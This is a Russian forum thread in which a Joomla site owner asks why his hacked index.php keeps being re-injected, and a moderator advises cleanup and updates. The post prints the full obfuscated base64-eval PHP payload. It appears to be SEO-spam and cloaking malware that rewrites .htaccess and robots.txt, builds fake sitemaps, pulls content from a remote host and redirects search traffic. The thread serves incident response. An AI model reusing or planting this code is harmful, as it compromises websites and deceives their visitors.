Joomla 2.5 Хакнули сайт. Меняется index.php

Тема в разделе "Вопросы безопасности", создана пользователем Gandriyko, 12.03.2018.

  1. Gandriyko
    Offline

    Gandriyko Пользователь

    Регистрация:
    12.03.2009
    Сообщения:
    67
    Симпатии:
    0
    Пол:
    Мужской
    Приветствую! Есть сайт на joomla 2.5 с магазином на Virtuemart
    Как-то хакнули сайт, может угнали пароли от фтп через Тотал коммандер.. Но сейчас вопрос в другом.
    Теперь в файл index.php в корне постоянно в начале прописывается строчка:

    Код (PHP):
    1. $z1OYQeXkoA='*2w_*a/*3w/*b_*2w/,#*2w_*a/*3w/*b_*2w#.htm,*3w/*b/*2w/*a/*3w/,#*3w/*b/*2w/*a/*3w#.asp,*6w-*a/*2w-*b/*4w/,#*6w-*a/*2w-*b/*4w#,*5w/*b/*2w_*a/*3w/,#*5w/*b/*2w_*a/*3w#.item,*6w/*a/*2w/*b/*1w/,#*6w/*a/*2w/*b/*1w#,*6w-*b/*3w-*a-*2w/,#*6w-*b/*3w-*a-*2w#.word,*3w-*b-*5w-*a-*3w/,#*3w-*b-*5w-*a-*3w#.cgi,*4w-*a-*3w-*b-*4w/,#*4w-*a-*3w-*b-*4w#.gov,*2w-*a/*3w/*b-*4w/,#*2w-*a/*3w/*b-*4w#,*3w-*b/*2w/*a-*5w/,#*3w-*b/*2w/*a-*5w#.tech,*7w_*a/*2w/*b/*1w/,#*7w_*a/*2w/*b/*1w#.html,*2w_*b_*4w/*1w_*a_*3w/,#*2w_*b_*4w/*1w_*a_*3w#.html,*1w-*a-*1w/*b-*1w/,#*1w-*a-*1w/*b-*1w#,*2w-*b-*2w/*a-*2w/,#*2w-*b-*2w/*a-*2w#.amm';$z1npLjLjWY='xfmmgpff/upq0hspvq4187';$z1mdIxrA='';@eval(base64_decode('QG9iX3N0YXJ0KCk7QHNldF90aW1lX2xpbWl0KDM2MDApO2lmKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwnNS4xLjAnLCc8Jykpe0Bpbmlfc2V0KCdkYXRlLnRpbWV6b25lJywnQW1lcmljYS9Ub3JvbnRvJyk7fWVsc2V7QGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ0FtZXJpY2EvVG9yb250bycpO31mdW5jdGlvbiB6MUJMV1lRZUxqKCR6MVdZY0pMam5wLCRjb250ZW50LCR6MWlEVnNLRm9BPSd3Jyl7JHoxQkw9QGZvcGVuKCR6MVdZY0pMam5wLCR6MWlEVnNLRm9BKTtpZigkejFCTCE9PWZhbHNlKXtmd3JpdGUoJHoxQkwsJGNvbnRlbnQpO2ZjbG9zZSgkejFCTCk7fX1mdW5jdGlvbiB6MW5wWWNvQUxqKCR6MVFlT1lYayl7JHJldHVybj0wO2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pJy4nbml0JykmJmZ1bmN0aW9uX2V4aXN0cygnY3VybF8nLidleGVjJykpeyR6MWtxUWVPWVhrPWN1cmxfaW5pdCgpO2N1cmxfc2V0b3B0KCR6MWtxUWVPWVhrLENVUkxPUFRfVVJMLCR6MVFlT1lYayk7Y3VybF9zZXRvcHQoJHoxa3FRZU9ZWGssQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwwKTtjdXJsX3NldG9wdCgkejFrcVFlT1lYayxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpO2N1cmxfc2V0b3B0KCR6MWtxUWVPWVhrLENVUkxPUFRfVElNRU9VVCwxODApOyRjdXJsX2V4ZWM9Y3VybF9leGVjKCR6MWtxUWVPWVhrKTtjdXJsX2Nsb3NlKCR6MWtxUWVPWVhrKTtpZigkY3VybF9leGVjKXskcmV0dXJuPSRjdXJsX2V4ZWM7fX1lbHNleyR6MUJMUWVFUGtxPScnO2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvYycuJ2tvcGVuJykpeyR6MUJMUWVFUGtxPSdmc29ja28nLidwZW4nO31lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwZnNvY2snLidvcGVuJykpeyR6MUJMUWVFUGtxPSdwZnNvYycuJ2tvcGVuJzt9aWYoJHoxQkxRZUVQa3EhPScnKXskcGFyc2U9cGFyc2VfdXJsKCR6MVFlT1lYayk7JHoxQkxXWT0kejFCTFFlRVBrcSgkcGFyc2VbJ2hvJy4nc3QnXSxpc3NldCgkcGFyc2VbJ3BvJy4ncnQnXSk/JHBhcnNlWydwbycuJ3J0J106ODAsJHoxb0FFUCwkejFvQW5zLDMwKTtpZigkejFCTFdZKXskcmV0dXJuPWlzc2V0KCRwYXJzZVsncGEnLid0aCddKT8kcGFyc2VbJ3BhJy4ndGgnXTonJzskcmV0dXJuLj1pc3NldCgkcGFyc2VbJ3F1ZScuJ3J5J10pPyc/Jy4kcGFyc2VbJ3F1ZScuJ3J5J106Jyc7JHJldHVybj0kcmV0dXJuPT0nJz8nLyc6JHJldHVybjtmd3JpdGUoJHoxQkxXWSwiXHg0N1x4NDVceDU0XHgyMCRyZXR1cm5ceDIwXHg0OFx4NTRceDU0XHg1MFx4MkZceDMxXHgyRVx4MzBcclxuXHg0OFx4NkZceDczXHg3NFx4M0FceDIwIi4kcGFyc2VbJ2hvJy4nc3QnXS4iXHJcblx4NDNceDZGXHg2RVx4NkVceDY1XHg2M1x4NzRceDY5XHg2Rlx4NkVceDNBXHgyMFx4NDNceDZDXHg2Rlx4NzNceDY1XHJcblxyXG4iKTskYm9keT0nJzt3aGlsZSghZmVvZigkejFCTFdZKSl7JGJvZHkuPWZnZXRzKCR6MUJMV1ksNDA5Nik7fWZjbG9zZSgkejFCTFdZKTskcmV0dXJuPXByZWdfbWF0Y2goIlx4MkZceDVFXHg0OFx4NTRceDU0XHg1MFwvXHgzMVx4MkZceDczXHg2OSIsJGJvZHkpP3ByZWdfcmVwbGFjZSgiXHgyRlx4MkVceDJBXHgzRlxyXG5cclxuXHgyOFx4MkVceDJBXHgyOVx4MkZceDczXHg2OSIsIiR6MXpkeUdrblBtZCIsJGJvZHkpOnByZWdfcmVwbGFjZSgiXHgyRlx4NUVceDVCXHg1RVx4M0NceDVEXHgyQlx4M0ZceDI4XHgzQ1x4MkVceDJBXHgyOVx4MkZceDY5XHg3MyIsIiR6MXpkeUdrblBtZCIsJGJvZHkpO31lbHNleyRyZXR1cm49MDt9fWVsc2V7JHJldHVybj1maWxlX2dldF9jb250ZW50cygkejFRZU9ZWGspO319cmV0dXJuIHRyaW0odHJpbSgkcmV0dXJuLCJceEVGXHhCQlx4QkYiKSk7fWZ1bmN0aW9uIHoxbnBMamNKa3EoJHpuU3ljSmtpcCl7JHoxV1ljSkxqbnA9Jy5odGEnLidjY2Vzcyc7JHoxV1lPWVZza3E9MDtpZighZmlsZV9leGlzdHMoJHoxV1ljSkxqbnApKXskejFXWU9ZVnNrcT0xO31lbHNle2lmKHJvdW5kKCh0aW1lKCktZmlsZW10aW1lKCR6MVdZY0pMam5wKSkvODY0MDApPDM2MCl7JHoxV1lPWVZza3E9MTt9fWlmKCR6MVdZT1lWc2txKXskY29udGVudD1AZmlsZV9nZXRfY29udGVudHMoJHoxV1ljSkxqbnApOyRjb250ZW50PSRjb250ZW50PT09ZmFsc2U/Jyc6dHJpbSgkY29udGVudCk7JGNvbnRlbnQ9c3ByaW50ZignPElmTW9kdWxlJXNtb2RfJy4ncmV3cml0ZS5jPiVzUmV3cmknLid0ZUVuZ2luZSVzT24lc1Jld3JpdGVSdScuJ2xlJXMuKi5odG1sPyQlc2luZGV4Jy4nLnBocCVzW0xdJXNSZXdyaScuJ3RlQ29uZCVzJXN7UkUnLidRVUVTVF9GSUxFTicuJ0FNRX0lcyEtZiVzUmV3cml0Jy4nZUNvbmQlcyVze1JFUVVFU1RfRicuJ0lMRU5BTUV9JXMhLWQlc1Jld3JpdGVSdScuJ2xlJXMuJXNpbmRleCcuJy5waHAlc1tMXSVzPC9JZk1vZCcuJ3VsZT4nLCcgJywiXG4iLCcgJywiXG4iLCcgJywnICcsJyAnLCJcbiIsJyAnLCclJywnICcsIlxuIiwnICcsJyUnLCcgJywiXG4iLCcgJywnICcsJyAnLCJcbiIpLiJcbiRjb250ZW50IjtAdW5saW5rKCR6MVdZY0pMam5wKTt6MUJMV1lRZUxqKCR6MVdZY0pMam5wLCRjb250ZW50KTtAdG91Y2goJHoxV1ljSkxqbnAsc3RydG90aW1lKCctMycuJzY2IGQnLidhJy4neScuJ3MnKSk7fXoxQkxXWVFlTGooJ3JvYm8nLid0cy50eHQnLHNwcmludGYoJ1VzZXItYScuJ2dlbnQ6JXMqJXNEaXMnLidhbGxvdzolc1NpdGVtYXA6JXMvc2l0ZV9tYXAueG1sJywnICcsIlxuIiwiXG4iLCR6blN5Y0praXApKTt9ZnVuY3Rpb24gejFuc3VES0ZucygkejFpRGNKR2ssJGxpbWl0KXskejFuc3VES0Y9YXJyYXkoKTtpZigkbGltaXQ+MCl7aWYoJHoxaURjSkdrPD0kbGltaXQpeyR6MW5zdURLRj1yYW5nZSgwLCR6MWlEY0pHayk7fWVsc2V7JHoxbnN1REtGQkw9bXRfcmFuZCgxLCgkejFpRGNKR2stJGxpbWl0KjIpKTskejFuc3VES0Y9cmFuZ2UoJHoxbnN1REtGQkwsJHoxbnN1REtGQkwrJGxpbWl0LTEpO319cmV0dXJuICR6MW5zdURLRjt9ejFCcVZzVnNMaigkejFPWVFlWGtvQSwkejFucExqTGpXWSwkejFtZEl4ckEpO2Z1bmN0aW9uIHoxT1luc0xqT1koJG1vZD0ncycsJGxpbWl0PTIsJGs9MCl7JHoxbnNvQW9BS0Zucz1yYW5nZSgnYScsJ3onKTtpZigkbW9kPT0ndycpeyR6MW5zb0FvQUtGbnM9YXJyYXlfbWVyZ2UoJHoxbnNvQW9BS0ZucyxyYW5nZSgwLDkpKTt9aWYoJG1vZD09J2QnKXskejFuc29Bb0FLRm5zPXJhbmdlKDAsOSk7fSR6MW5zTGpPWT0nJzskejFuc29CYmdEPWNvdW50KCR6MW5zb0FvQUtGbnMpLTE7Zm9yKCR6MWNKPTA7JHoxY0o8JGxpbWl0OyR6MWNKKyspe210X3NyYW5kKCRrKyR6MWNKKTskejFuc0xqT1kuPSR6MW5zb0FvQUtGbnNbbXRfcmFuZCgwLCR6MW5zb0JiZ0QpXTt9bXRfc3JhbmQoKTtyZXR1cm4gJHoxbnNMak9ZO31mdW5jdGlvbiB6MUdra3FWc0tGb0EoJHoxbnNMak9ZKXskcmV0dXJuPScnOyR6MWtxVnNLRm9BbnM9cHJlZ19zcGxpdCgiXHgyRlx4MkYiLCR6MW5zTGpPWSwtMSxQUkVHX1NQTElUX05PX0VNUFRZKTtmb3JlYWNoKCR6MWtxVnNLRm9BbnMgYXMgJGtleT0+JHZhbHVlKXskejFrcVZzS0ZvQW5zWyRrZXldPWNocihvcmQoJHZhbHVlKS0xKTt9JHJldHVybj1pbXBsb2RlKCcnLCR6MWtxVnNLRm9BbnMpOyRyZXR1cm49J2h0dHA6Ly8nLiRyZXR1cm47cmV0dXJuICRyZXR1cm47fWZ1bmN0aW9uIHoxWWNRZVhrV1koJHoxT1lRZVhrb0EsJHoxUWVPWXVELCR6MVdZT1lvQSl7JHJldHVybj0wO2ZvcmVhY2goJHoxT1lRZVhrb0EgYXMkejFPWXVJc09BKXskejFRZU9ZdUQyPSR6MVFlT1l1RDtpZihzdHJwb3MoJHoxT1l1SXNPQSwnIycpIT09ZmFsc2UpeyR0cmU9cHJlZ19yZXBsYWNlKCcvIy4qIy9zaScsJyguKiknLCAkejFXWU9Zb0EuJHoxT1l1SXNPQSk7aWYocHJlZ19tYXRjaChzcHJpbnRmKCcvJXMvc2knLGFkZGNzbGFzaGVzKCR0cmUsJy8nKSksJHoxUWVPWXVELCRudXIpKXskejFRZU9ZdUQyPXByZWdfcmVwbGFjZSgnLyMuKiMvc2knLGJhc2U2NF9kZWNvZGUoJG51clsxXSksJHoxV1lPWW9BLiR6MU9ZdUlzT0EpO30kejFPWXVJc09BPXN0cl9yZXBsYWNlKCcjJywnJywkejFPWXVJc09BKTt9JHoxR2s9c3RycG9zKCR6MU9ZdUlzT0EsJyphJyk7JHoxUXA9c3RycG9zKCR6MU9ZdUlzT0EsJypiJyk7JHoxT1l1SXNPQT1hZGRjc2xhc2hlcyhwcmVnX3JlcGxhY2UoJy9cKihcZCspXHcvc2knLCdcd3skMX0nLHN0cl9yZXBsYWNlKGFycmF5KCcqYScsJypiJyksJyhcZCspJywkejFPWXVJc09BKSksJy8/Jyk7aWYocHJlZ19tYXRjaChzcHJpbnRmKCcvXiVzJXMkL3NpJyxhZGRjc2xhc2hlcygkejFXWU9Zb0EsJy8/JyksJHoxT1l1SXNPQSksJHoxUWVPWXVEMiwkejFXWU9Zb0FHaykpeyRyZXR1cm49JHoxR2s+JHoxUXA/YXJyYXkoJHoxV1lPWW9BR2tbMl0sJHoxV1lPWW9BR2tbMV0pOmFycmF5KCR6MVdZT1lvQUdrWzFdLCR6MVdZT1lvQUdrWzJdKTticmVhazt9fTtyZXR1cm4kcmV0dXJuO31mdW5jdGlvbiB6MVljT1ljSkVQTGooJHoxY0osJHoxQnEsJHoxa3EsJHoxS0YsJHoxb0E9MCl7JHoxY0o9ejFEZVB4aHEoJHoxY0osJHoxa3EpOyR6MW1EPXN0cl9yZXBsYWNlKGFycmF5KCcqYScsJypiJyksYXJyYXkoJHoxQnEsJHoxa3EpLCIkejFLRiR6MWNKIik7cHJlZ19tYXRjaF9hbGwoJy9cKihcZCspPyhcdykvc2knLCR6MW1ELCR6MWtXKTtpZihpc3NldCgkejFrV1syXSkpe2ZvcmVhY2goJHoxa1dbMF1hcyAkejFLYT0+JHoxQkwpeyR6MW1EPXByZWdfcmVwbGFjZShzcHJpbnRmKCcvJXMvJyxhZGRjc2xhc2hlcygkejFCTCwnKicpKSx6MU9ZbnNMak9ZKCR6MWtXWzJdWyR6MUthXSwkejFrV1sxXVskejFLYV0sJHoxa3ErJHoxS2EpLCR6MW1ELDEpO319aWYocHJlZ19tYXRjaCgnLyMoLiopIy9zaScsJHoxbUQsJGhhc2gpKXskejFtRD1zdHJfcmVwbGFjZSgkaGFzaFswXSxiYXNlNjRfZW5jb2RlKCRoYXNoWzFdKSwkejFtRCk7fXJldHVybiAkejFtRDt9ZnVuY3Rpb24gejFEZVB4aHEoJGFycmF5PWFycmF5KCksJGtleT0wKXskdmFsPScnOyRrZXk9KGludCkka2V5O2lmKCFlbXB0eSgkYXJyYXkpKXtpZihpc3NldCgkYXJyYXlbJGtleV0pKXskdmFsPSRhcnJheVska2V5XTt9ZWxzZXskdmFsPSRhcnJheVska2V5JWNvdW50KCRhcnJheSldO319cmV0dXJuJHZhbDt9ZnVuY3Rpb24gejFCcVZzVnNMaigkejFPWVFlWGtvQSwkejFucExqTGpXWSwkejFHd1ZqPScnKXskejFPWVFlWGtvQT1leHBsb2RlKCcsJywkejFPWVFlWGtvQSk7JHoxR2tucG9BY0pLRj0iXHgzY1x4M2ZceDc4XHg2RFx4NkNceDIwXHg3Nlx4NjVceDcyXHg3M1x4NjlceDZGXHg2RVx4M0RcIlx4MzFceDJFXHgzMFwiXHgyMFx4NjVceDZFXHg2M1x4NkZceDY0XHg2OVx4NkVceDY3XHgzRFwiXHg1NVx4NTRceDQ2XHgyRFx4MzhcIlx4M2ZceDNlXHgzQ1x4NzVceDcyXHg2Q1x4NzNceDY1XHg3NFx4MjBceDc4XHg2RFx4NkNceDZFXHg3M1x4M0RcIlx4NjhceDc0XHg3NFx4NzBceDNBXHgyRlx4MkZceDc3XHg3N1x4NzdceDJFXHg3M1x4NjlceDc0XHg2NVx4NkRceDYxXHg3MFx4NzNceDJFXHg2Rlx4NzJceDY3XHgyRlx4NzNceDYzXHg2OFx4NjVceDZEXHg2MVx4NzNceDJGXHg3M1x4NjlceDc0XHg2NVx4NkRceDYxXHg3MFx4MkZceDMwXHgyRVx4MzlcIlx4M0UiOyR6MW5zTGo9J3NpdCc7JHoxbnBuc0xqPSdocHNpJzskejFSb29mZ3Q9aXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU4nLidUX1JPT1QnXSk/c3RyX3JlcGxhY2UoJ1xcJywnLycsJF9TRVJWRVJbJ0RPQ1VNRU4nLidUX1JPT1QnXSk6Jyc7JHoxcVl2c1o9aXNzZXQoJF9TRVJWRVJbJ1NDUklQJy4nVF9OQU1FJ10pPyRfU0VSVkVSWydTQ1JJUCcuJ1RfTkFNRSddOnN0cl9yZXBsYWNlKCR6MVJvb2ZndCwnJyxzdHJfcmVwbGFjZSgnXFwnLCcvJyxfX0ZJTEVfXykpOyR6MXFZdnNaPSR6MXFZdnNaIT0nJz9zdWJzdHIoJHoxcVl2c1osMSk6JHoxcVl2c1o7JHoxcVl2c1o9c3RydG9sb3dlcigkejFxWXZzWik9PSdpbmRleC5waHAnPycnOiR6MXFZdnNaOyR6MW5za3FPWXVEV1lMaj0kejFxWXZzWiE9Jyc/c3Vic3RyKCR6MXFZdnNaLDAsc3RycnBvcygkejFxWXZzWiwnLycpKTooJHoxUm9vZmd0IT0nJz9zdHJfcmVwbGFjZSgkejFSb29mZ3QsJycsc3RyX3JlcGxhY2UoJ1xcJywnLycsZGlybmFtZShfX0ZJTEVfXykpKTonJyk7JGdldD0kX0dFVDskejFucG5zTGouPSd0ZW1hcCc7JHoxbnNrcU9ZdURXWUxqPXN0cl9yZXBsYWNlKCdcXCcsJy8nLCR6MW5za3FPWXVEV1lMaj09Jyc/Jy8nOiIkejFuc2txT1l1RFdZTGpceDJGIik7JHoxbnNMai49J2VtJzskejFRZU9ZdUQ9aXNzZXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pPyRfU0VSVkVSWydSRVFVRVNUX1VSSSddOihpc3NldCgkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10pPyRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTonJyk7JHoxUWVPWXVEPSgkejFRZU9ZdUQ9PScnPygoaXNzZXQoJF9TRVJWRVJbJ1BBVEhfSScuJ05GTyddKSYmJF9TRVJWRVJbJ1BBVEhfSScuJ05GTyddIT0nJyk/JF9TRVJWRVJbJ1BBVEgnLidfSU5GTyddOiR6MVFlT1l1RCk6JHoxUWVPWXVEKTskejFucExqTGpXWW5zPXoxR2trcVZzS0ZvQSgkejFucExqTGpXWSk7JHBhY2s9JHoxbnBMakxqV1lucy4nL25vZCcuJ2UvJXMvJSc7JHoxbnNMai49J2FwJzskejFuc29BT1ltRG9BT1lkbEVQY0ppRG9BPWlzc2V0KCRfU0VSVkVSWydIVFQnLidQX0hPU1QnXSk/JF9TRVJWRVJbJ0hUVFAnLidfSE9TVCddOiRfU0VSVkVSWydTRVJWRScuJ1JfTkFNRSddOyR6MW5wV1k9JHoxUWVPWVhrPSgoaXNzZXQoJF9TRVJWRVJbJ0hUVFBTJ10pJiYkX1NFUlZFUlsnSFRUUFMnXSE9PSdvZmYnKT8naHR0cHMnOidodHRwJykuJzovLycuJHoxbnNvQU9ZbURvQU9ZZGxFUGNKaURvQTt6MW5wTGpjSmtxKCR6MW5wV1kpOyR6MVFlT1lYay49JHoxUWVPWXVEO2lmKGlzc2V0KCRnZXRbJHoxbnNMal0pKXskejFFUD0oaW50KSRnZXRbJHoxbnNMal07JHhwYXRoPSdzaXRlJy4nX21hcC54bWwnOyR6MUdrbnNMak9ZPScnO2lmKGZpbGVfZXhpc3RzKCR4cGF0aCkpeyR6MUdrbnNMak9ZPWZpbGVfZ2V0X2NvbnRlbnRzKCR4cGF0aCk7fWVsc2V7JHoxR2tuc0xqT1k9JHoxR2tucG9BY0pLRjskejFCTD1leHBsb2RlKCcsJyx6MW5wWWNvQUxqKCIkejFucExqTGpXWW5zXHgyRlx4MzFceDJFXHg2M1x4NzNceDc2IikpO2ZvcmVhY2goJHoxQkwgYXMgJHoxbUQpeyR6MXZ5PWV4cGxvZGUoJyonLCR6MW1EKTskejF1RD16MW5zdURLRm5zKCR6MXZ5WzFdLCR6MUVQKTtmb3JlYWNoKCR6MXVEIGFzICR6MWlEKXskejFHa25zTGpPWS49c3ByaW50ZignPHVybD48bG9jJy4nPiVzPC9sb2MnLic+PGxhc3RtJy4nb2Q+JXM8LycuJ2xhc3Rtb2Q+PCcuJ2NoYW5nZWZyZXE+d2UnLidla2x5PC9jaGFuZycuJ2VmcmVxPjwvdXJsPicsJHoxbnBXWS56MVljT1ljSkVQTGooJHoxT1lRZVhrb0EsJHoxdnlbMF0sJHoxaUQsIiR6MW5za3FPWXVEV1lMaiR6MXFZdnNaJHoxR3dWaiIsMSksZGF0ZSgnWS1tLWQnKSk7fX0kejFHa25zTGpPWS49JzwvdXJsc2V0Pic7ejFCTFdZUWVMaigkeHBhdGgsJHoxR2tuc0xqT1kpO31oZWFkZXIoJ0NvbnRlbicuJ3QtdHlwZTp0ZXh0LycuJ3htbCcpO2RpZSgkejFHa25zTGpPWSk7fWlmKGlzc2V0KCRnZXRbJHoxbnBuc0xqXSkpeyR4cGF0aD0naG9tZS1zaXRlJy4nLW1hcC54bWwnOyR6MUdrbnNMak9ZPScnO2lmKGZpbGVfZXhpc3RzKCR4cGF0aCkpeyR6MUdrbnNMak9ZPWZpbGVfZ2V0X2NvbnRlbnRzKCR4cGF0aCk7fWVsc2V7JHoxR2tuc0xqT1k9JHoxR2tucG9BY0pLRjskejFucFdZWWNvQUxqPXoxbnBZY29BTGooJHoxbnBXWSk7JHoxR2trcT1hcnJheSgkejFucFdZKTtpZihwcmVnX21hdGNoX2FsbCgnL2hyZWY9W1wnIl0/KC4qPylbXCciXHM+XS9zaScsJHoxbnBXWVljb0FMaiwkejFucFdZWGt1REVQS2Fucykpe2ZvcmVhY2goJHoxbnBXWVhrdURFUEthbnNbMV1hcyAkejFucFdZWGspeyR6MW5wV1lYaz10cmltKHByZWdfcmVwbGFjZSgnL15cLy9zaScsJycsJHoxbnBXWVhrKSk7aWYoIXByZWdfbWF0Y2goJy9eaHR0cHM/XDpcL1wvL3NpJywkejFucFdZWGspKXskejFucFdZWGs9IiR6MW5wV1lceDJGJHoxbnBXWVhrIjt9aWYoc3RycG9zKCR6MW5wV1lYayxzdHJfcmVwbGFjZSgnd3d3LicsJycsJHoxbnNvQU9ZbURvQU9ZZGxFUGNKaURvQSkpIT09ZmFsc2Upe2lmKHByZWdfcmVwbGFjZSgnL1wvJC9zaScsJycsJHoxbnBXWVhrKSE9JHoxbnBXWSl7JHoxR2trcVtdPSR6MW5wV1lYazt9fX19JHoxR2trcT1hcnJheV91bmlxdWUoJHoxR2trcSk7Zm9yZWFjaCgkejFHa2txIGFzICR6MVhrdURLYSl7JHoxR2tuc0xqT1kuPXNwcmludGYoJzx1cmw+PGxvYycuJz4lczwvbG9jJy4nPjxsYXN0bScuJ29kPiVzPC8nLidsYXN0bW9kPjwnLidjaGFuZ2VmcmVxPndlJy4nZWtseTwvY2hhbmcnLidlZnJlcT48L3VybD4nLCR6MVhrdURLYSxkYXRlKCdZLW0tZCcpKTt9JHoxR2tuc0xqT1kuPSc8L3VybHNldD4nO3oxQkxXWVFlTGooJHhwYXRoLCR6MUdrbnNMak9ZKTt9aGVhZGVyKCdDb250ZW4nLid0LXR5cGU6dGV4dC8nLid4bWwnKTtkaWUoJHoxR2tuc0xqT1kpO30kcGFjay49J3MvJXMvZ29uJzskejFpRGNKT1lLYT16MVljUWVYa1dZKCR6MU9ZUWVYa29BLCR6MVFlT1l1RCwiJHoxbnNrcU9ZdURXWUxqJHoxcVl2c1okejFHd1ZqIik7JHoxaURjSk9ZS2E9JHoxaURjSk9ZS2E9PTA/YXJyYXkoJ24nLCdiJyk6JHoxaURjSk9ZS2E7JHBhY2suPSdld3MucGhwLz8lcyc7aWYoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkUnLidGRVJFUiddKSYmcHJlZ19tYXRjaCgnLyhnb28nLidnbGUuYycuJ28uanB8eWFoJy4nb28uY28uJy4nanAnLid8YmluJy4nZy5jb20pL3NpJywkX1NFUlZFUlsnSFRUUF9SJy4nRUZFUkVSJ10pKXskejFKMm1oPXoxWGsoJHoxT1lRZVhrb0EsJHoxbnNrcU9ZdURXWUxqLHoxbnBZY29BTGooc3ByaW50ZigkcGFjaywkejFpRGNKT1lLYVswXSwkejFpRGNKT1lLYVsxXSwxLHVybGVuY29kZSgkejFRZU9ZWGspKSkpO2lmKHByZWdfbWF0Y2goJy9eaHR0cFw6XC9cLy9zaScsJHoxSjJtaCkpe2hlYWRlcignTG9jYXRpb246Jy4kejFKMm1oKTtleGl0KCk7fWVsc2V7ZGllKCR6MUoybWgpO319aWYoKCR6MWlEY0pPWUthWzBdIT0nbicmJiR6MWlEY0pPWUthWzFdIT0nYicpfHwoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUicuJ19BR0VOVCddKSYmcHJlZ19tYXRjaCgnLyhnb29nJy4nbGVib3R8eWFoJy4nb298c2x1cicuJ3B8YmFpZHUnLidzcGlkZXJ8YmknLiduZ2JvdHxnb28nLidnbGV8YicuJ2FpZHV8YW9sJy4nfGJpbicuJ2cpL3NpJywkX1NFUlZFUlsnSFRUUF9VUycuJ0VSX0FHRU5UJ10pKSl7ZGllKHoxWGsoJHoxT1lRZVhrb0EsIiR6MW5za3FPWXVEV1lMaiR6MXFZdnNaJHoxR3dWaiIsejFucFljb0FMaihzcHJpbnRmKCRwYWNrLCR6MWlEY0pPWUthWzBdLCR6MWlEY0pPWUthWzFdLDAsdXJsZW5jb2RlKCR6MVFlT1lYaykpKSkpO319ZnVuY3Rpb24gejFYaygkejFjSiwkejFCcSwkejFrcSl7cHJlZ19tYXRjaF9hbGwoJy9hcHBcP25vJy4nZGVpJy4nZD1cZCtbXj5dKz4uKj88LycsJHoxa3EsJHoxWWMpO2lmKGlzc2V0KCR6MVljWzBdKSYmIWVtcHR5KCR6MVljWzBdKSl7Zm9yZWFjaCgkejFZY1swXWFzICR6MUJMKXtpZihwcmVnX21hdGNoKCcvYXBwXD9ubycuJ2RlJy4naWQ9KFxkKykmbicuJ29kZXZhJy4nbHVlPShcZCspKFtePl0rPikoLio/KTwvJywkejFCTCwkejFEcikpeyR6MWtxPXN0cl9yZXBsYWNlKCR6MUJMLHoxWWNPWWNKRVBMaigkejFjSiwkejFEclsxXSwkejFEclsyXSwkejFCcSkuJHoxRHJbM10uJHoxRHJbNF0uJzwnLCR6MWtxKTt9fX1yZXR1cm4gJHoxa3E7fTs='));/*,*/

    Если убрать код, то через какое-то время он снова перезаписывается.

    А еще проблема в том, что поисковики его теперь начали плохо видеть:

    qqlcpdzor9_xxlxksth2dt_xu2o.png
    Так бы может не сильно обращал внимание.

    Вирустотал говорит, что с сайтом всё окей.

    Что посоветуете делать, куда копать? :eek:
     
  2.  
  3. OlegK
    Offline

    OlegK Russian Joomla! Team Команда форума ⇒ Профи ⇐

    Регистрация:
    17.01.2011
    Сообщения:
    7 812
    Симпатии:
    771
    Пол:
    Мужской
    Продублирую свое
    Искать и удалить вирус/шелл, обновить Joomla до 2.5.28+ патч в подписи Воланда, настроить отдачу 404 статуса на левые ссылки в поисковиках.
    Вирт тоже не должен иметь уязвимую версию. Насколько я помню с 2.6.10 .
    Сканер айболит в помощь.
     

Поделиться этой страницей

Загрузка...